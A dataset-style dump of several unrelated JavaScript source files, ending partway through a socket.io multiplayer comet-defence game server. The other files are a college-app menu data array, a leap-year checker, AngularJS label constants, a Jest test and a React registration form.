text
stringlengths 7
3.69M
|
|---|
const data =[
{
name:"MARKS",
darkicon:"https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon:"https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate:"MarksCollegeStudent"
},
{
name: "ATTENDANCE & HOMEWORK",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "AttendanceCollegeStudent"
},
{
name: "STATISTICS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "StatisticsCollegeStudent"
},
{
name: "RANKS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "RanksCollegeStudent"
},
{
name: "LIBRARY",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "LibraryCollegeStudent"
},
{
name: "SYLLABUS & TIMETABLE",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "SyllabusTimeTableCollegeStudent"
},
{
name: "CALENDER & REMINDERS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "CalenderReminderCollegeStudent"
},
{
name: "FACULTIES",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "FacultiesCollegeStudent"
},
{
name: "MEDIA",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "MediaCollegeStudent"
},
{
name: "QUESTION PAPERS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "QuestionPapersCollegeStudent"
},
{
name: "FORMS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "FormsCollegeStudent"
},
{
name: "FEEDBACK & REMARKS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "FeedbacksCollegeStudent"
},
{
name: "FEES",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "FeesCollegeStudent"
},
{
name: "SETTINGS",
darkicon: "https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon: "https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate: "SettingsCollegeStudent"
},
]
export default data;
|
const sections = document.querySelectorAll('.section');
const continueBtn=document.querySelector('#continueBtn');
const checkBtn=document.querySelector('#checkBtn');
const inputName=document.querySelector('#inputName');
const userNameDOM = document.querySelector('#userName');
const inputDate=document.querySelector('#inputDate');
const output = document.querySelector('#output');
const monthDays=[31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
const leapYearMessage="Your birth year is a leap year!";
const notLeapYearMessage ="Your birth year is not a leap year!"
const error= "Enter a valid date in the format DD/MM/YYYY";
continueBtn.addEventListener('click', continueBtnHandler);
checkBtn.addEventListener('click', checkBtnHandler);
function continueBtnHandler(){
if(inputName.value)
{
const userNameJS= inputName.value;
sections[0].style.display="none";
sections[1].style.display="block";
userNameDOM.innerText= userNameJS;
}
else{
alert("Please enter your name and then click on Continue");
}
}
function checkBtnHandler(){
const date = inputDate.value;
if(date){
const dateArray= date.split(/[/,-]/);
const dd=dateArray[0];
const mm=dateArray[1];
const yy=dateArray[2];
if(isNaN(dd) || isNaN(mm) || isNaN(yy)){
output.innerText = error;
}
else if(!Number.isInteger(Number(dd)) || !Number.isInteger(Number(mm)) || !Number.isInteger(Number(yy))){
output.innerText = error;
}
else if(mm>12 || dd>31 || yy>2020 || mm<=0 || dd<=0 || yy<=0){
output.innerText = error;
}
else if(dd>monthDays[mm-1]){
output.innerText = error;
}
else{
if(mm==2 && dd==29){
if(isLeapYear(yy))
output.innerText = leapYearMessage;
else
output.innerText = error;
}
else{
if(isLeapYear(yy))
output.innerText = leapYearMessage;
else
output.innerText = notLeapYearMessage;
}
}
}
}
function isLeapYear(Year){
if(Year%4===0){
if(Year%100===0){
if(Year%400===0){
return true;
}
else{
return false;
}
}
else{
return true;
}
}
return false;
}
|
angular.module('pl.const', []).
constant('CstNaming', {
matter: {
doc: {
'article': '图文',
'link': '链接',
'channel': '频道'
},
docOrder: ['article', 'link', 'channel'],
app: {
'enroll': '记录',
'signin': '签到',
'group': '分组',
'memberschema': '通讯录'
},
appOrder: ['enroll', 'signin', 'group', 'memberschema']
},
scenario: {
enroll: {
'common': '通用记录',
'registration': '报名',
'voting': '投票',
'quiz': '测验',
'group_week_report': '周报',
'discuss': '讨论',
'score_sheet': '记分表',
'mis_user_score': '用户计分表'
},
enrollIndex: ['common', 'registration', 'voting', 'quiz', 'group_week_report', 'discuss', 'score_sheet', 'mis_user_score'],
group: {
'split': '分组',
'extract': '抓阄'
},
groupIndex: ['split', 'extract']
},
enroll: {
agreed: {
'D': '讨论',
'A': '接受',
'Y': '推荐',
'N': '关闭',
}
},
notifyMatter: [{
value: 'tmplmsg',
title: '模板消息',
url: '/rest/pl/fe/matter'
}, {
value: 'article',
title: '单图文',
url: '/rest/pl/fe/matter'
}, {
value: 'channel',
title: '频道',
url: '/rest/pl/fe/matter'
}, {
value: 'enroll',
title: '记录活动',
url: '/rest/pl/fe/matter'
}],
mission: {}
});
|
/**
* @jest-environment jsdom
*/
import '@testing-library/jest-dom';
import React from 'react';
import { screen, render } from '@testing-library/react';
import Home from './Home';
test('Renders home view', () => {
render(<Home />);
const home = screen.getByText(/Home page/i);
expect(home).toBeInTheDocument();
});
|
import React, {Component} from 'react';
import PropTypes from 'prop-types';
import {registerUser} from '../actions/authActions';
import connect from 'react-redux/es/connect/connect';
class RegisterPage extends Component {
state = {
user: {
email: '',
firstName: '',
confirmPassword: '',
password: ''
},
};
static contextTypes = {
router: PropTypes.object
};
handleChange = (event) => {
const {name, value} = event.target;
const {user} = this.state;
this.setState({
user: {
...user,
[name]: value
}
});
};
handleSubmit = (event) => {
event.preventDefault();
const {user} = this.state;
if (user.firstName && user.email && user.password && user.confirmPassword) {
if (user.password === user.confirmPassword) {
this.props.handleRegisterUser(user.email, user.password, user.firstName);
}
}
};
render() {
let {registered} = this.props;
return (
<div>
{(registered) ?
<div>
<span>you are successfully registered ..</span>
<button onClick={() => this.context.router.history.push("/app")}>Go To Home Page.
</button>
</div> :
<form onSubmit={this.handleSubmit}>
<input
type="text"
name="email"
placeholder="Enter email"
value={this.state.email}
onChange={this.handleChange}
/>
<input
type="text"
name="firstName"
placeholder="Enter first name"
value={this.state.username}
onChange={this.handleChange}
/>
<input
type="password"
name="password"
placeholder="Enter password"
value={this.state.password}
onChange={this.handleChange}
/>
<input
type="password"
name="confirmPassword"
placeholder="Confirm password"
value={this.state.password}
onChange={this.handleChange}
/>
<button>Register</button>
<button onClick={() => {
this.context.router.history.push("/");
}}>Cancel
</button>
</form>
}
</div>
);
}
}
function mapStateToProps({registered}) {
return {registered};
}
function mapDispatchToProps(dispatch) {
return ({
handleRegisterUser: (email,password,name) => {
dispatch(registerUser(email,password,name));
}
})
}
export default connect(mapStateToProps, mapDispatchToProps)(RegisterPage);
|
/* Chat util functions */
const { addUser, removeUser, getUser, getAllUsers } = require('./utils/chatUsers.js');
/* Calculate distance between 2 points */
const { distance } = require('./utils/serverCalculations.js');
/* ----- Server setup ----- */
const app = require('express')();
const server = require('http').Server(app);
const io = require('socket.io')(server)
const next = require('next');
const cors = require('cors');
const dev = process.env.NODE_ENV
const nextApp = next({ dev });
const nextHandler = nextApp.getRequestHandler();
const PORT = process.env.PORT || 3000;
nextApp.prepare().then(() => {
app.get('*', (req, res) => {
return nextHandler(req, res)
})
server.listen(PORT, (err) => {
if (err) throw err
console.log(`> Ready on port ${PORT}`);
})
})
app.use(cors())
/* ----- Game variables ----- */
/* Initial game state variables, used for initialization & reset */
const initialRound = 1;
const initialNumComets = 0;
const initialBaseHealth = 50;
const initialMissileId = 0;
const initialTimer = 60;
const initialRoundOver = false;
const initialScore = 0;
const initialGameState = 'lobby';
const initialCometLimit = 10;
const initialCometRate = 2100;
const initialCometHealth = 1;
const initialCometSpeed = 1.5;
const initialUltimateComet = false;
/* Game state variables */
let round = initialRound;
let numComets = initialNumComets;
let baseHealth = initialBaseHealth;
let missileId = initialMissileId;
let timer = initialTimer;
let roundOver = initialRoundOver;
let score = initialScore;
let gameState = initialGameState;
let cometLimit = initialCometLimit;
let cometRate = initialCometRate;
let cometHealth = initialCometHealth;
let cometSpeed = initialCometSpeed;
let ultimateComet = initialUltimateComet;
/* Countdown and timer variables */
let countdown = false;
let countdownTimer = undefined;
let gameTimeout = undefined;
/* Consumable damage constants */
const laserDamage = 4;
/* Objects */
let players = {};
let playerSlots = {
p1: undefined,
p2: undefined,
p3: undefined,
p4: undefined
}
let users = {};
let missiles = {};
let comets = {};
let explosions = {};
/* Initializes comets */
for (let i = 0; i < cometLimit; i++) {
comets[i] = undefined;
}
/* ----- Handles socket connection/events ----- */
io.on('connect', (socket) => {
/* Handles game socket connections */
if (socket.handshake.query.purpose === 'game') {
console.log(`> Game socket <${socket.id}> connected`);
/* Initializes the user's name & role to default spectate */
let username = socket.handshake.query.name;
users[socket.id] = {
name: username,
role: 'spectator',
}
/* Initializes the client with data depending on the game's current state */
if (gameState == 'lobby') {
io.emit('updateUsers', users);
} else if (gameState == 'game') {
setTimeout(() => { socket.emit('inProgress') }, 500);
} else {
setTimeout(() => { socket.emit('gameFinished') }, 500);
}
/* ----- Lobby scene events ----- */
/* Sends user list to those in lobby */
socket.on('requestUsers', () => {
socket.emit('updateUsers', users);
});
/* Allows users to switch roles in the lobby */
socket.on('attemptSwitchRole', () => {
/* Switches player to spectator role, frees the playerSlot */
if (users[socket.id].role == 'player') {
users[socket.id].role = 'spectator';
delete players[socket.id];
for (let i = 0; i < 4; i++) {
if (playerSlots[i] == socket.id) {
playerSlots[i] = undefined;
}
}
io.emit('updateUsers', users);
} else {
/* Gets the next available playerSlot */
let nextSlot = getNextSlot();
if (nextSlot != -1) {
/* Switches user to player and creates player data if available playerSlot exists */
users[socket.id].role = 'player';
playerSlots[nextSlot] = socket.id;
players[socket.id] = {
name: users[socket.id].name,
rotation: 0,
x: 160 + 320 * nextSlot,
y: 670,
playerId: socket.id,
credits: 0,
cometsDestroyed: 0,
damage: 1,
radius: 40,
missiles: 5,
maxMissiles: 5,
rechargingMissiles: false,
regenSpeed: 0.4,
specialAttack: 'none',
specialAttackAmmo: 0,
debugging: false,
speed: 8,
};
io.emit('updateUsers', users);
}
}
});
/* Handles users joining in progress */
socket.on('joinInProgress', () => {
socket.emit('switchStart');
socket.broadcast.emit('newPlayer', players[socket.id]);
});
/* Starts a countdown towards game start */
socket.on('startGame', () => {
/* Prevents spectators from starting game and players from starting countdowns when a countdown is in progress */
if (users[socket.id].role == 'player' && !countdown) {
countdown = true;
io.emit('updateCountdownTimer', 5);
let time = 4;
countdownTimer = setInterval(() => {
io.emit('updateCountdownTimer', time);
time--;
if (time <= 0) {
clearInterval(countdownTimer);
}
}, 1000);
gameTimeout = setTimeout(() => {
countdown = false;
gameState = 'game';
io.emit('switchStart');
}, 5000)
}
});
/* ----- Game scene events ----- */
/* Sends game data to users who join a game */
socket.on('requestInitialize', () => {
io.to(socket.id).emit('initComets', comets);
io.to(socket.id).emit('initHealth', baseHealth);
io.to(socket.id).emit('initTimer', timer);
io.to(socket.id).emit('initScore', score);
io.to(socket.id).emit('initRound', round);
if (users[socket.id].role != 'spectator') {
io.to(socket.id).emit('initCredits', 0);
} else {
io.to(socket.id).emit('initSpectate');
}
io.to(socket.id).emit('currentPlayers', players);
});
/* Handles missile firing */
socket.on('missileShot', (missileData) => {
if (players[socket.id] != undefined) {
let thisPlayer = players[socket.id];
if (thisPlayer.missiles > 0 || missileData['flakSpecial'] === true || missileData['nukeSpecial'] === true) {
missileData['id'] = missileId;
/* Adds new missile to missile object */
missiles[missileId] = missileData;
/* Handles flak firing */
if (missiles[missileId].flakSpecial) {
/* Flak damage/radius scaling */
if (players[socket.id].damage < 3) {
missiles[missileId].dmg = 1;
} else if (players[socket.id].damage < 5) {
missiles[missileId].dmg = 2;
} else {
missiles[missileId].dmg = 3;
}
missiles[missileId].radius = players[socket.id].radius / 2.7 < 40 ? players[socket.id].radius / 2.7 : 40;
missiles[missileId].speedX = -1 * Math.cos(missileData.rotation + Math.PI / 2) * players[socket.id].speed * 1.3;
missiles[missileId].speedY = -1 * Math.sin(missileData.rotation + Math.PI / 2) * players[socket.id].speed * 1.3;
} else if (missiles[missileId].nukeSpecial) {
/* Nuke damage/radius scaling */
missiles[missileId].dmg = players[socket.id].damage + 1;
missiles[missileId].radius = players[socket.id].radius * 6 < 480 ? players[socket.id].radius * 6 : 480;
missiles[missileId].speedX = -1 * Math.cos(missileData.rotation + Math.PI / 2) * players[socket.id].speed;
missiles[missileId].speedY = -1 * Math.sin(missileData.rotation + Math.PI / 2) * players[socket.id].speed;
} else {
/* Normal missiles */
missiles[missileId].dmg = players[socket.id].damage;
missiles[missileId].radius = players[socket.id].radius;
missiles[missileId].speedX = -1 * Math.cos(missileData.rotation + Math.PI / 2) * players[socket.id].speed;
missiles[missileId].speedY = -1 * Math.sin(missileData.rotation + Math.PI / 2) * players[socket.id].speed;
}
missiles[missileId].startX = missiles[missileId].x
missiles[missileId].startY = missiles[missileId].y
missiles[missileId].playerId = socket.id;
/* Tells client to render a new missile on their end */
io.emit('newMissile', missiles[missileId]);
/* If missile is not a flak, then generate a crosshair */
if (!missiles[missileId].flakSpecial) {
io.emit('newCrosshair', missiles[missileId]);
}
/* Tells all users that a missile was fired */
socket.broadcast.emit('missileFired', socket.id);
/* For normal missiles, update the missile count */
if (!missiles[missileId].flakSpecial && !missiles[missileId].nukeSpecial) {
let displayBar = false;
if (thisPlayer.missiles == thisPlayer.maxMissiles) { displayBar = true; }
thisPlayer.missiles--;
let regenMs = (1.0 / thisPlayer.regenSpeed) * 1000;
io.emit('updateMissileCount', socket.id, thisPlayer.missiles, thisPlayer.maxMissiles, regenMs, displayBar);
regenAmmo(socket.id, thisPlayer, regenMs);
}
/* Change the missile id */
if (missileId > 1000) {
missileId = 0;
} else {
missileId++;
}
}
}
})
/* Sends client movement to all clients */
socket.on('rotationChange', (rotation) => {
if (players[socket.id] != undefined) {
players[socket.id].rotation = rotation;
socket.broadcast.emit('playerMoved', players[socket.id]);
}
})
/* Upgrades an attribute for a player if they have enough money */
socket.on('attemptUpgrade', upgrade => {
if (players[socket.id] != undefined) {
if (upgrade == 'speed') {
let cost = 1000 + (players[socket.id].speed - 10) * 500;
attemptUpgrade(socket.id, upgrade, 1, cost, 500);
} else if (upgrade == 'damage' && players[socket.id].damage <= 4) {
let cost = 500 + (players[socket.id].damage * 1500);
attemptUpgrade(socket.id, upgrade, 1, cost, 1500);
} else if (upgrade == 'radius') {
let cost = 400 + ((players[socket.id].radius - 40) / 10.0) * 800;
attemptUpgrade(socket.id, upgrade, 5, cost, 400);
} else if (upgrade == 'regenSpeed') {
let cost = -1500 + Math.round(5000 * players[socket.id].regenSpeed);
if (attemptUpgrade(socket.id, upgrade, 0.1, cost, 500)) {
io.to(socket.id).emit('regenSpeedChange', players[socket.id].regenSpeed);
}
} else if (upgrade == 'maxMissiles') {
let cost = 600 * (players[socket.id].maxMissiles / 5);
let upgradeDone = attemptUpgrade(socket.id, upgrade, 5, cost, 600);
if (upgradeDone) {
let regenMs = (1.0 / players[socket.id].regenSpeed) * 1000;
io.emit('updateMissileCount', socket.id, players[socket.id].missiles, players[socket.id].maxMissiles, regenMs, true);
players[socket.id].rechargingMissiles = false;
regenAmmo(socket.id, players[socket.id], regenMs);
}
}
}
});
/* Purchases a consumable if the player has enough money */
socket.on('attemptBuyConsumable', (consumableName) => {
if(players[socket.id] != undefined) {
if (consumableName == 'laser') {
let bought = attemptBuyConsumable(socket.id, consumableName, 1000);
if (bought) {
players[socket.id].specialAttackAmmo = 3;
}
} else if (consumableName == 'flak') {
let bought = attemptBuyConsumable(socket.id, consumableName, 1500);
if (bought) {
players[socket.id].specialAttackAmmo = 1;
}
} else if (consumableName == 'nuke') {
let bought = attemptBuyConsumable(socket.id, consumableName, 1000);
if (bought) {
players[socket.id].specialAttackAmmo = 1;
}
}
}
});
/* ----- End scene events ----- */
/* Forces users in lobby and end scene to reload */
socket.on('requestEndToLobby', () => {
gameState = 'lobby';
io.emit('reloadEnd');
io.emit('reloadLobby');
});
/* Handles players using special consumables */
socket.on('specialShot', () => {
if(players[socket.id] != undefined) {
let myPlayer = players[socket.id];
if (myPlayer.specialAttack == 'none') { return; }
else if (myPlayer.specialAttack == 'laser') {
io.emit('updateSpecialAttack', socket.id, 'laser', 0x555555 * (myPlayer.specialAttackAmmo - 1));
fireLaser(socket.id);
} else if (myPlayer.specialAttack == 'flak') {
io.emit('updateSpecialAttack', socket.id, 'flak', 0x555555 * (myPlayer.specialAttackAmmo - 1));
fireFlak(socket.id);
} else if (myPlayer.specialAttack == 'nuke') {
io.emit('updateSpecialAttack', socket.id, 'nuke', 0x555555 * (myPlayer.specialAttackAmmo - 1));
fireNuke(socket.id);
}
myPlayer.specialAttackAmmo -= 1;
if (myPlayer.specialAttackAmmo <= 0) {
myPlayer.specialAttack = 'none';
io.emit('updateSpecialAttack', socket.id, 'none', 0x000000);
}
}
});
/* ----- Debug mode events ----- */
/* Allows debuggers to enter debug mode, sends info about the game state */
socket.on('enterDebug', () => {
if (!players[socket.id].debugging) {
console.log(`> ${socket.id} entered debug mode`);
players[socket.id].debugging = true;
socket.emit('debug', {
'regenSpeed': players[socket.id].regenSpeed,
'maxMissiles': players[socket.id].maxMissiles,
'cometLimit': cometLimit,
'cometRate': cometRate,
'cometHealth': cometHealth,
'cometSpeed': cometSpeed,
'credits': players[socket.id].credits
});
}
});
/* Allows debuggers to change comet speed */
socket.on('changeCometSpeed', (increment) => {
cometSpeed += increment;
io.to(socket.id).emit('cometSpeedChange', cometSpeed);
});
/* Allows debuggers to change the round */
socket.on('changeRound', () => {
round++;
io.emit('updateRound', round);
increaseDifficulty();
});
/* Allows debuggers to change base health */
socket.on('changeBaseHealth', (increment) => {
baseHealth += increment;
io.emit('baseHealthChange', baseHealth);
});
/* Allows debuggers to change the timer */
socket.on('changeTimer', (increment) => {
timer += increment;
io.emit('updateTimer', timer);
})
/* Allows debuggers to change their credits */
socket.on('changeCredits', (increment) => {
players[socket.id].credits += increment;
io.to(socket.id).emit('updateCredits', players[socket.id].credits);
});
/* Allows debuggers to change their ammo capacity */
socket.on('changeMaxMissiles', (increment) => {
players[socket.id].maxMissiles += increment;
let regenMs = (1.0 / players[socket.id].regenSpeed) * 1000;
io.emit('updateMissileCount', socket.id, players[socket.id].missiles, players[socket.id].maxMissiles, regenMs, true);
players[socket.id].rechargingMissiles = false;
regenAmmo(socket.id, players[socket.id], regenMs);
});
/* Allows debuggers to change how fast their ammo regenerates */
socket.on('changeRegenSpeed', (increment) => {
players[socket.id].regenSpeed += increment;
io.to(socket.id).emit('regenSpeedChange', players[socket.id].regenSpeed);
});
/* Allows debuggers to change how many comets can be on screen at once */
socket.on('changeCometLimit', (increment) => {
cometLimit += increment;
io.to(socket.id).emit('cometLimitChange', cometLimit);
});
/* Allows debuggers to change how fast comets spawn */
socket.on('changeCometRate', (increment) => {
cometRate += increment;
io.to(socket.id).emit('cometRateChange', cometRate);
});
/* Allows debuggers to change how much health comets have */
socket.on('changeCometHealth', (increment) => {
cometHealth += increment;
io.to(socket.id).emit('cometHealthChange', cometHealth);
})
/* ----- Disconnects ----- */
/* Handles disconnects */
socket.on('disconnect', () => {
console.log(`> Game socket <${socket.id}> disconnected`)
/* Deletes the user from the list of players & playerSlots if they are a player*/
if (users[socket.id].role == 'player') {
delete players[socket.id];
removeFromSlot(socket.id);
}
/* Removes the user from the user list */
delete users[socket.id];
/* Updates the user list for users in the lobby */
if (gameState == 'lobby') {
io.emit('updateUsers', users);
}
/* Updates users in game about which player to remove */
io.emit('disconnect', socket.id);
/* Handles event that all players leave */
if (Object.keys(players).length == 0) {
/* If game is counting down towards start, stop & clear the timer */
if (countdown) {
clearInterval(countdownTimer);
clearTimeout(gameTimeout);
countdown = false;
}
/* Clear & reset all objects in the game stored on the server */
clearGame();
/* Force spectators in the game/lobby to reload */
io.emit('reloadGame');
io.emit('clearLobby');
/* Return to lobby */
gameState = 'lobby';
}
/* Disconnect the socket */
socket.disconnect();
});
} else {
/* Handles chat socket */
console.log(`> Chat socket <${socket.id}> connected`);
chatSocket = socket;
/* Handles users joining the chat room */
socket.on('join', (obj, callback) => {
const { error, user } = addUser({ id: socket.id, name: obj.name, room: 'Room' });
if (error) {
return (callback(error));
}
socket.emit('message', { user: 'admin', text: `${user.name}, welcome to the room!` });
socket.broadcast.to(user.room).emit('message', {
user: 'admin',
text: `${user.name} has joined the room.`
});
socket.join(user.room);
io.to(user.room).emit('roomData', { room: user.room, users: getAllUsers() });
callback();
});
/* Handles users leaving the chat room */
socket.on('disconnect', () => {
console.log(`> Chat socket <${socket.id}> disconnected`);
const user = removeUser(socket.id);
if (user) {
io.to(user.room).emit('message', { user: 'admin', text: `${user.name} has left.` });
io.to(user.room).emit('roomData', { room: user.room, users: getAllUsers() });
}
socket.disconnect();
});
/* Allows users to send messages */
socket.on('sendMessage', (message, callback) => {
const user = getUser(socket.id);
io.to(user.room).emit('message', { user: user.name, text: message });
callback();
});
}
});
/* ----- Game loops ----- */
/* Generates comets */
(function generateComets() {
let numPlrs = Object.keys(players).length;
numPlrs = Math.max(numPlrs, 1); //To avoid divide by 0 error
/* Calculates how fast to generate comets by number of players */
let timer = (cometRate - 250 + Math.ceil(Math.random() * 500)) / (numPlrs / 1.3);
setTimeout(() => {
/* Checks if it's an appropriate time to spawn comets */
if (!roundOver && gameState == 'game' && numComets < cometLimit) {
/* Spawn a comet at a random x at the top of the screen and calculate its trajectory towards a random y towards the bottom of the screen */
for (let i = 0; i < cometLimit; i++) {
if (comets[i] == undefined) {
numComets++;
let startX = 10 + Math.ceil(Math.random() * 1260);
let endX = 10 + Math.ceil(Math.random() * 1260);
let angle = Math.atan2(720, endX - startX);
let minHealth = 1;
if (cometHealth >= 3) {
minHealth = cometHealth - 2;
}
let maxHealth = cometHealth + 1;
let speed = (Math.random() * (cometSpeed - (cometSpeed / 2)) + (cometSpeed / 2));
let health = Math.floor(Math.random() * (maxHealth - minHealth)) + minHealth;
if (ultimateComet == true && Math.random() * 200 < 2) {
comets[i] = {
x: startX,
y: 0,
speedX: Math.cos(angle) * 0.1,
speedY: Math.sin(angle) * 0.1,
rotation: angle - Math.PI / 2,
hp: 50 + (round * 4),
id: i,
credits: 1000,
dmg: 20,
radius: 200,
durationLimit: 40
}
} else {
comets[i] = {
x: startX,
y: 0,
speedX: Math.cos(angle) * speed,
speedY: Math.sin(angle) * speed,
rotation: angle - Math.PI / 2,
hp: health,
dmg: health,
id: i,
credits: 100 * health,
radius: 50 + (health * 5),
durationLimit: 40
}
}
/* Tell clients about the new comet */
io.emit('newComet', comets[i]);
break;
}
}
}
generateComets();
}, timer);
}());
/* Round/break timer */
setInterval(() => {
if (gameState == 'game') {
/* Updates timer */
timer--;
io.emit('updateTimer', timer);
/* Start displaying incoming round/break text */
if (!roundOver && timer <= 5) {
io.emit('updateIncomingStatus', {
timer: timer,
status: 'Break'
});
} else if (roundOver && timer <= 5) {
io.emit('updateIncomingStatus', {
timer: timer,
status: `Round ${round + 1}`
})
}
/* Change timer to appropriate values after round/break */
if (!roundOver && timer <= 0) {
roundOver = true;
timer = 10;
} else if (roundOver && timer <= 0) {
io.emit('updateRound', ++round);
increaseDifficulty();
roundOver = false;
timer = 60;
}
}
}, 1000);
/* Calls update projectiles */
setInterval(updateProjectiles, 16);
/* ----- Helper functions ----- */
/* Gets the next valid player slot*/
function getNextSlot() {
for (i = 0; i < 4; i += 1) {
if (playerSlots[i] == undefined) { return i; }
}
return -1;
}
/* Removes the id from playerSlots */
function removeFromSlot(id) {
Object.keys(playerSlots).forEach(player => {
if (playerSlots[player] == id) {
playerSlots[player] = undefined;
return;
}
})
return;
}
/* Helper function for making upgrades */
function attemptUpgrade(socketID, upgradeName, upgradeIncrement, cost, costIncrement) {
/* Checks if the user has enough credits, makes the upgrade, decreases the player's credits, and increase the cost if so */
if (players[socketID].credits >= cost) {
players[socketID][upgradeName] += upgradeIncrement;
players[socketID].credits -= cost;
io.to(socketID).emit('updateCredits', players[socketID].credits);
io.to(socketID).emit('updateCost', [upgradeName, cost + costIncrement]);
return true;
}
return false;
}
/* Helper function for buying consumables */
function attemptBuyConsumable(socketID, consumableName, cost) {
/* Checks if the player has enough credits & that the player doesn't already have a special attack, if so, gives the player the special attack and decreases the player's credits. */
if (players[socketID].credits >= cost && players[socketID].specialAttack === 'none') {
players[socketID].credits -= cost;
players[socketID].specialAttack = consumableName;
io.to(socketID).emit('updateCredits', players[socketID].credits);
io.emit('updateSpecialAttack', socketID, consumableName, 0xffffff);
return true;
}
return false;
}
/* Provides ammo regeneration functionality */
function regenAmmo(socketId, player, regenMs) {
let oldMissilesMax = player.maxMissiles;
if (!player.rechargingMissiles) {
player.rechargingMissiles = true;
/* Increases ammo count after regen time has passed */
setTimeout(() => {
if (oldMissilesMax != player.maxMissiles) { return; }
player.missiles++;
let displayBar = false;
if (player.missiles < player.maxMissiles) { displayBar = true; }
io.emit('updateMissileCount', socketId, player.missiles, player.maxMissiles, regenMs, displayBar);
if (player.missiles >= player.maxMissiles) {
player.missiles = player.maxMissiles;
player.rechargingMissiles = false;
}
else {
player.rechargingMissiles = false;
regenAmmo(socketId, player, (1.0 / player.regenSpeed) * 1000);
}
}, regenMs);
}
}
/* Allows users to fire lasers */
function fireLaser(socketID) {
let myPlayer = players[socketID];
/* Calculates the direction of the laser */
let laserDir = {
'x': Math.sin(myPlayer.rotation),
'y': -Math.cos(myPlayer.rotation)
};
/* Tells all clients that a player fired a laser */
io.emit('laserFired', {
'x': myPlayer.x,
'y': myPlayer.y
}, laserDir, myPlayer.rotation);
Object.keys(comets).forEach(cometId => {
if (comets[cometId] == undefined) { return; }
/* Calculates comet position with respect to laser position */
let thisComet = comets[cometId];
let localPos = {
'x': thisComet.x - myPlayer.x,
'y': thisComet.y - myPlayer.y
};
let projectionLength = (localPos.x * laserDir.x) + (localPos.y * laserDir.y);
let projection = {
'x': projectionLength * laserDir.x,
'y': projectionLength * laserDir.y
};
let orthogonalPart = {
'x': localPos.x - projection.x,
'y': localPos.y - projection.y
};
/* Calculates laser damage to comet and destroys if appropriate */
let squareDistFromLaser = (orthogonalPart.x * orthogonalPart.x) + (orthogonalPart.y * orthogonalPart.y);
if (squareDistFromLaser < 10000) {
thisComet.hp -= laserDamage;
if (thisComet.hp <= 0) {
destroyComet(cometId, socketID);
}
}
})
}
/* Allows users to fire flak missiles */
function fireFlak(socketID) {
let tick = 0;
/* Fires flacks for 1500 ticks */
const flakDuration = setInterval(() => {
if (tick < 1000) {
io.to(socketID).emit('flakFired');
tick++;
} else {
clearInterval(flakDuration);
}
}, 10);
}
/* Tells the client that a nuke fired */
function fireNuke(socketID) {
io.to(socketID).emit('nukeFired');
}
/* ----- Object updating functions ----- */
/* Main update projectiles function */
function updateProjectiles() {
if (gameState == 'game') {
updateMissiles();
updateComets();
detectBaseCollisions();
explosionDamage();
}
}
/* Updates missile positions */
function updateMissiles() {
if (gameState == 'game') {
Object.keys(missiles).forEach(id => {
/* Updates missile position */
missiles[id].x = missiles[id].x + missiles[id].speedX;
missiles[id].y = missiles[id].y + missiles[id].speedY;
/* Calculates distance between crosshair and starting point, and missile location and starting point.*/
let travelDist = distance(missiles[id].x, missiles[id].y, missiles[id].startX, missiles[id].startY);
let targetDist = distance(missiles[id].mouseX, missiles[id].mouseY, missiles[id].startX,
missiles[id].startY);
let isAtTarget = (missiles[id].x >= missiles[id].mouseX - 10)
&& (missiles[id].x <= missiles[id].mouseX + 10) && (missiles[id].y >= missiles[id].mouseY - 10)
&& (missiles[id].y <= missiles[id].mouseY + 10);
/* If the missile has traveled the appropriate distance or longer, then create an explosion at where the crosshair is */
if (isAtTarget || travelDist >= targetDist) {
explosionLocation = [missiles[id].x, missiles[id].y]
if (travelDist > targetDist && !isAtTarget) {
